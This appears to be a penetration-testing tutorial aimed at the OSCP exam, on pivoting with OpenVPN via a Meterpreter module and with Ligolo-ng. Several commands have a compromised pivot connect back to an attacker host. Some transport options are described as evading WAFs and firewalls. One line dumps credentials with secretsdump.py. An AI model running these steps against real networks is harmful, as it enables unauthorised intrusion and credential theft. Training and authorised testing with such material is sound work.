VPN Tunneling (OpenVPN and Ligolo-ng)
VPN tunneling creates a full IP-level tunnel to the internal network. Unlike port forwarding (which forwards specific ports) or SOCKS proxies (which require proxychains), a VPN tunnel gives you direct IP access to internal hosts — as if you were physically on the network.
Why VPN Tunneling?
| Benefit |
Description |
| Full IP tunnel |
All traffic flows through the tunnel at the IP layer |
| No per-tool config |
Every tool works directly — no proxychains needed |
| Encrypted |
All traffic is encrypted through the tunnel |
| Persistent |
Tunnel stays up even if you close your terminal |
| Direct access |
Access internal IPs directly (no localhost forwarding) |
| All protocols |
TCP, UDP, ICMP — everything works |
OpenVPN Setup
Method 1: Via Meterpreter Post Module
# From Meterpreter session
use post/multi/manage/openvpn
# Set options
set SESSION 1
set LHOST 10.10.14.3
set LPORT 4443
set VPN_NET 10.8.0.0 # Virtual network for VPN
set TOP_NET 10.10.10.0 # Target network to route
set TOP_MASK 255.255.255.0
set TOP_GATEWAY 10.10.10.1 # Gateway in target network
run
Method 2: Manual OpenVPN Setup on Pivot
Step 1: Install OpenVPN on Pivot
# On Linux pivot
sudo apt install openvpn easy-rsa
# Generate certificates
make-cadir ~/openvpn-ca
cd ~/openvpn-ca
source vars
./clean-all
./build-ca
./build-key-server server
./build-key client1
./build-dh
# Generate TLS key
openvpn --genkey --secret keys/ta.key
Step 2: Create Server Config
# /etc/openvpn/server.conf
port 1194
proto tcp
dev tun
ca /root/openvpn-ca/keys/ca.crt
cert /root/openvpn-ca/keys/server.crt
key /root/openvpn-ca/keys/server.key
dh /root/openvpn-ca/keys/dh.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist /var/log/openvpn/ipp.txt
push "route 10.10.10.0 255.255.255.0"
keepalive 10 120
tls-auth /root/openvpn-ca/keys/ta.key 0
cipher AES-256-GCM
persist-key
persist-tun
status /var/log/openvpn/openvpn-status.log
verb 3
Step 3: Start OpenVPN Server
sudo openvpn /etc/openvpn/server.conf
Step 4: Connect from Attacker
# Create client config
# /tmp/client.ovpn
client
dev tun
proto tcp
remote 10.10.10.5 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client1.crt
key client1.key
tls-auth ta.key 1
cipher AES-256-GCM
verb 3
# Connect
sudo openvpn --config /tmp/client.ovpn
Architecture
graph LR
subgraph "Attacker"
A[VPN Client<br/>TUN Interface]
end
subgraph "Target Network"
B[VPN Server on Pivot<br/>10.10.10.5]
C[Internal Target<br/>10.10.10.10]
end
A -->|Encrypted VPN Tunnel| B
B -->|Routed traffic| C
A -.->|Direct IP access| C
Ligolo-ng (Modern Alternative)
Ligolo-ng is a modern, Go-based tunneling tool that creates a TUN interface on your attacker machine, giving you full IP-level access to the internal network. It’s simpler to set up than OpenVPN and more flexible than Chisel.
What is Ligolo-ng?
- Single binary (Go-based) — easy to deploy.
- Creates a TUN interface on the attacker machine.
- Supports multiple transport protocols (TCP, HTTP, WebSocket).
- Interactive console for managing agents and routes.
- Full IP tunnel — all tools work directly.
Installation
# Download from GitHub releases
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.9.1/ligolo-ng_linux_amd64.tar.gz
tar -xzf ligolo-ng_linux_amd64.tar.gz
sudo mv ligolo-ng-server /usr/local/bin/ligolo-ng-server
sudo mv ligolo-ng-client /usr/local/bin/ligolo-ng-client
sudo mv ligolo-ng-console /usr/local/bin/ligolo-ng-console
Step-by-Step Setup
Step 1: Start Ligolo Console (Attacker)
ligolo-ng-console
# Inside console:
config set tls true
config set tls-cert cert.pem
config set tls-key key.pem
listen
Step 2: Connect Agent (Pivot)
# On the pivot machine
ligolo-ng-client --no-tls --url ws://10.10.14.3:11601/tunnel
# Or with TLS:
ligolo-ng-client --tls --tls-ca-cert ca.pem --url wss://10.10.14.3:11601/tunnel
Step 3: Manage from Console
# Inside console on attacker
sessions # List connected agents
interact 1 # Interact with session 1
ifconfig # Show pivot's network interfaces
add-route 10.10.10.0/24 eth0 # Add route through pivot's eth0
start # Start the tunnel
# After `start` in console, a TUN interface is created on attacker
# Configure it
sudo ip addr add 10.10.10.99/24 dev ligolo0
sudo ip link set ligolo0 up
sudo ip route add 10.10.10.0/24 dev ligolo0
Step 5: Direct Access to Internal Hosts
# Now you can access internal hosts directly!
nmap -p 22,80,443 10.10.10.10
curl http://10.10.10.10:8080
python3 secretsdump.py DOMAIN/admin:pass@10.10.10.10
Ligolo-ng Transport Options
| Transport |
Command |
Use Case |
| TCP |
--url ws://ATTACKER:11601/tunnel |
Default, most reliable |
| HTTP |
--url http://ATTACKER:11601/tunnel |
When only HTTP allowed |
| WebSocket |
--url ws://ATTACKER:11601/tunnel |
Through WAFs/proxies |
| TLS |
--tls --url wss://ATTACKER:11601/tunnel |
Encrypted transport |
OpenVPN vs Ligolo-ng vs Chisel
| Feature |
OpenVPN |
Ligolo-ng |
Chisel |
| Setup complexity |
High (certs, config) |
Low (single binary) |
Low |
| IP-level tunnel |
Yes |
Yes |
No (port forward/SOCKS) |
| No proxychains needed |
Yes |
Yes |
No (needs proxychains) |
| Transport options |
TCP/UDP |
TCP/HTTP/WS/TLS |
TCP/HTTP |
| Interactive management |
No |
Yes (console) |
No |
| Binary size |
Large |
Small (~10MB) |
Small (~6MB) |
| Best for |
Production, long-term |
OSCP, quick setup |
Quick port forwards |
OSCP Exam Tips
- Ligolo-ng is the easiest VPN tunnel for OSCP — single binary, simple setup.
- OpenVPN via Meterpreter is convenient when you already have a session.
- VPN tunnel = direct IP access — no proxychains, no localhost forwarding.
- Use VPN tunneling for complex engagements with many internal targets.
- For simple single-port access, portfwd or SSH is faster.
- Ligolo-ng WebSocket transport works through WAFs and strict firewalls.
Further Reading